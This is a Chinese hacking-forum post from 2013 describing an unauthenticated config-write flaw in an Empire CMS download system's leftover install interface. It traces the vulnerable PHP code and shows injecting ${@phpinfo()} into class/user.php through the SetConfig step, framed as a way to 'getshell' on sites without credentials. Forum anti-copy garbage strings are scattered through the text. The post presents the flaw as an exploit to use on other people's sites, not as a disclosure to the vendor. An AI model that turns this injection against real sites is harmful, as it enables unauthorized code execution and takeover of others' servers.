找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2183|回复: 0
打印 上一主题 下一主题

帝国万能接口漏洞0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-23 09:34:37 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这是帝国的一套下载系统如图 ps(不需要任何账户和密码,直接写shell) 由于很多站是由于下载要整合discuz等等一些论坛.... 而帝国他又有一个万能接口,如图 而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码 当我们
2 G9 o& V2 B+ V" A+ a" m
& y2 F+ B0 g) c: z


) L1 V/ z1 J6 ^这是帝国的一套下载系统 如图) t" E+ X5 P' x
ps(不需要任何账户和密码,直接写shell)

2 \$ r+ ]( ^$ D

由于很多站是由于下载要整合discuz 等等一些论坛....8 V4 d3 n: m0 ]) M0 o" {

2 f! }, b9 Z% h* i% M4 D/ W. X

而帝国他又有一个万能接口,如图

( r, s. m; c' q9 n  j  ^
: Y$ Z7 ]# _- [: t+ P+ [- K
# r! ~0 k: `" J8 h

而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码
) x# |6 v0 G( `% P7 J/ D0 c% R  i
当我们提交的时候,他地址是提交到index.php?install=1&setup=SetConfig

1. if($_GET['install']==1)
2. {
3. @include("../class/connect.php");
4. @include("../class/db_sql.php");
5. @include("../class/functions.php");
6. $link=db_connect();
7. $empire=new mysqlquery();
8. if($setup=="SetConfig")
9. {
10. SetUserCOMConfig($_POST);
11. }
12. elseif($setup=="alter")
13. {
14. InstallUserCOM();
15. }
16. elseif($setup=="update")
17. {
18. UpdateUserCOM();
19. }
20. else
21. {}

复制代码

他这里开始调用一个SetUserCOMConfig的函数了,我们继续跟踪2 e3 @" U/ m  u) B# W  w
% z7 ]$ }# V9 k
在data/fun.php中的15行
# |% |0 J3 e3 F6 W
% Z0 U' h$ i, y% g, [4 _0 E我们可以看到这个函数

1. function SetUserCOMConfig($add){
2. $filetext=ReadFiletext('data/user.php');
3. if(empty($filetext))
4. {
5. InstallShowMsg('文件 /update/data/user.php 丢失,安装不成功.');
6. }
7. $vr=explode(",",ReturnRepUserVar());
8. $count=count($vr);
9. for($i=0;$i<$count;$i++)
10. {
11. $filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);
12. }
13. //写入配置文件
14. $fp=@fopen("../class/user.php","w");
15. if(!$fp)
16. {
- q2 F$ \! ^% k* i: b& X( I* a. L
17. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.');
18. }
19. @fputs($fp,$filetext);
20. @fclose($fp);

复制代码

.....//省略若干
: L% \3 O1 t) ^! ]4 P# y6 y' ~1 o6 w/ n( a; f9 ~& L
这里的他将$filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);7 d( P, D# a  Z7 {/ C4 I

" Y1 Y' q1 t" p8 x5 K1 c他将传进来的变量进行了切割,然后赋给了$filetext
# X6 d* T( i7 h: X0 P
: u9 ]% [. S7 O/ `1 [- f8 Y/ a5 Z然后看下面

1. //写入配置文件
2. $fp=@fopen("../class/user.php","w");
3. if(!$fp)
4. {
5. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.');
6. }
7. @fputs($fp,$filetext);

复制代码

打开了一个class/user.php文件,然后将$filetext写入了+ {% c# V* ^) U5 _# Z& k" J2 ~
- G3 h1 u* l/ \7 {
我们看看写入的结果,随便填一个


0 f9 V1 A* a% M1 [. }# F& m$ P3 i9 d. b! E* p

% A  V0 `4 c4 V) b, M9 T
3 ^% s' p. [2 Z% |
4 \9 ]8 W9 m  W0 O- M* f* H

% \4 c0 \  I, O2 N3 y* R0 U8 V8 G1 a

, k3 e0 ~( _1 L6 S! ~  I

& w2 g4 q8 e1 X& I9 A+ c2 L1 V! P5 S
  I4 U; j! {) @: [6 k

* [2 f2 F$ A6 n, L2 y) e; ]8 W8 v0 b) }. K0 W6 b1 S' X
* \0 y2 |, Y) m1 y5 ~- j

" I9 V: }  d- P8 n+ L  r
: X8 W. i/ y7 E6 Y

; d$ m$ Q8 F( j6 }( Q  a! O! O0 ^) q( N0 ~( d3 `
0 t; c! L% M3 G) f, J

/ i/ k$ X3 m3 m# @* e) W2 e% x7 t& j. P. L: e# \

6 r9 G5 N7 H# M' G  \0 H& i2 E7 v5 ?9 z

所以我们淫荡点,写个${@phpinfo()}试试


9 U+ g" `) u0 v' t& n" Z, D9 f1 ]. j

然后访问以下class/user.php这个文件9 O1 e# K" Z0 x: Q  u8 F' p% d6 n
日了吧


3 n6 f# ]$ Y8 Y+ e

: Q. {( I- N+ z
/ f/ k  c; O' d$ p' j
) _! q* A1 I6 q) z) u

/ Q0 M" _; N/ Q  ?* N9 R8 ]8 a

3 _8 q. _( r: T% D- Y

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表